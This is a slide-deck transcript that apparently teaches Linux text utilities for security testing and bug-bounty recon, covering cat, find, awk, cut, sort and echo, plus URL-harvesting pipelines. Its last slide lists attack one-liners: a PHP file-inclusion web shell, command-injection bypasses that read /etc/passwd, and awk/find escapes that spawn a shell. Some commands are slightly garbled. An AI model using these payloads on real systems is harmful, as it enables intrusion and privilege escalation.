Top Banner
Linux commands and utilities for security testing By Swapnil
21

Linux commands and utilities for security testing By Swapnil

Mar 18, 2023

Download

Documents

Khang Minh
Welcome message from author
This document is posted to help you gain knowledge. Please leave a comment to let me know what you think about it! Share it to your friends and learn new things together.
Transcript
Page 1: Linux commands and utilities for security testing By Swapnil

Linux commands and

utilities for

security testing

By Swapnil

Page 2: Linux commands and utilities for security testing By Swapnil

Cat cat - concatenate files and print on the standard output

Page 3: Linux commands and utilities for security testing By Swapnil

Cat Usage● Display Contents of a File

cat test1.txt

● Redirect Contents of a Filecat test1.txt > test3.txt

● To display content of all txt filescat *.txt

● To display the contents of a file with line numbercat -n file1.txt

Page 4: Linux commands and utilities for security testing By Swapnil

Find Find command basically finds the things for you

Page 5: Linux commands and utilities for security testing By Swapnil

find Usage● Find files in a directory

find /

● Specific files in a directoryfind ~ -name ‘*.jpg’

● ”OR”find ~ ( -iname 'jpeg' -o -iname 'jpg' )

● Find world-readble filesfind ~ -perm -o=r

Page 6: Linux commands and utilities for security testing By Swapnil

parallel Parallel is a shell utility for executing jobs in parallel

Page 7: Linux commands and utilities for security testing By Swapnil

parallel Usage● From serial to parallel

find . -name "*jpeg" | parallel -I% --max-args 1 convert % %.png

● Multiple Inputsls -l | parallel --max-args=2 echo

Page 8: Linux commands and utilities for security testing By Swapnil

Cut

cut is a command-line

utility that allows you to

cut parts of lines from

specified files or piped

data and print the result

to standard

Page 9: Linux commands and utilities for security testing By Swapnil

CUT Usage● Specify a field

Cut -f

● BytesCut -b

● Characters listCut -c

● DelimiterCut -d

Page 10: Linux commands and utilities for security testing By Swapnil

sort Sort sorts its input

Page 11: Linux commands and utilities for security testing By Swapnil

sort Usage● Numeric sort

Sort -n

● Human sortSort -h

● Uniq valuesSort -u

Page 12: Linux commands and utilities for security testing By Swapnil

awk Awk is a general-purpose scripting language designed for advanced text processing.

Page 13: Linux commands and utilities for security testing By Swapnil

awk Usage● AWK patterns

Awk ‘{print $ 3}’ test.txt

● Awk regexAwk ‘/reg/ {print $4}’ test.txt

● AWK field separatorAwk ‘BEGIN {FS = “.”}{ print $1}’ test.txt

Page 14: Linux commands and utilities for security testing By Swapnil

Echo

echo is one of the most commonly and widely used built-in command for Linux bash and C shells, that typically used in scripting language and batch files to display a line of text/string on standard output or a file.

Page 15: Linux commands and utilities for security testing By Swapnil

ECHo Usage● Display a line of text on standard output

Echo Hello world

● Pattern matching charactersecho The PHP files are: *.php

● Redirect to a fileecho -e 'The test file' >> /tmp/file.txt

● Displaying output of a commandecho "The date is: $(date +%D)"

Page 16: Linux commands and utilities for security testing By Swapnil

Some more command● Reverse command

rev

● Grep commandGrep -r

● SED - edit the input streamSed -n 1-4p

● DelimiterCut -d

Page 17: Linux commands and utilities for security testing By Swapnil

Lets make cocktail of above commands

Page 18: Linux commands and utilities for security testing By Swapnil

Processing data for Recon● Get javascript files from domains list

Cat domains list | gau | grep “.js”

● Get v1 api enpoints from URL listprintf yahoo.com | gau | grep -w "v1" | head -10

● Find URL with admin keyword in itCat domains.txt | grep “admin”

● With staus code 200cat domains.txt| gau | hakcheckurl | grep -w '200' | head -10

● Extract subdomains from outputgau -subs example.com | cut -d / -f 3 | sort -u

Page 19: Linux commands and utilities for security testing By Swapnil

● Pull Root Subdomains from Final.txtcat final | rev | cut -d . -f 1-3 | rev | sort -u | tee root.subdomains

● Extract URLs from junk datacat file | grep -Eo "(http|https)://[a-zA-Z0-9./?=_-]*"*

Page 20: Linux commands and utilities for security testing By Swapnil

Some bonus commands● Command injection to File inclusion

echo "<?php include($_GET['page'])| ?>" > rfi.php

● Command Injection bypassCat /etc/passwdCat /e”t”c/pass”w”dCat /etc/pass*d

● Echo and revEcho “dwssap/cte/ tac” | rev

● AWK and shellawk 'BEGIN {system("/bin/sh")}'

● Find and AWKfind / -name blahblah -exec /bin/awk 'BEGIN {system("/bin/sh")}' \;

● Echo and teeecho "evil script code" | tee script.sh

Page 21: Linux commands and utilities for security testing By Swapnil

Thank you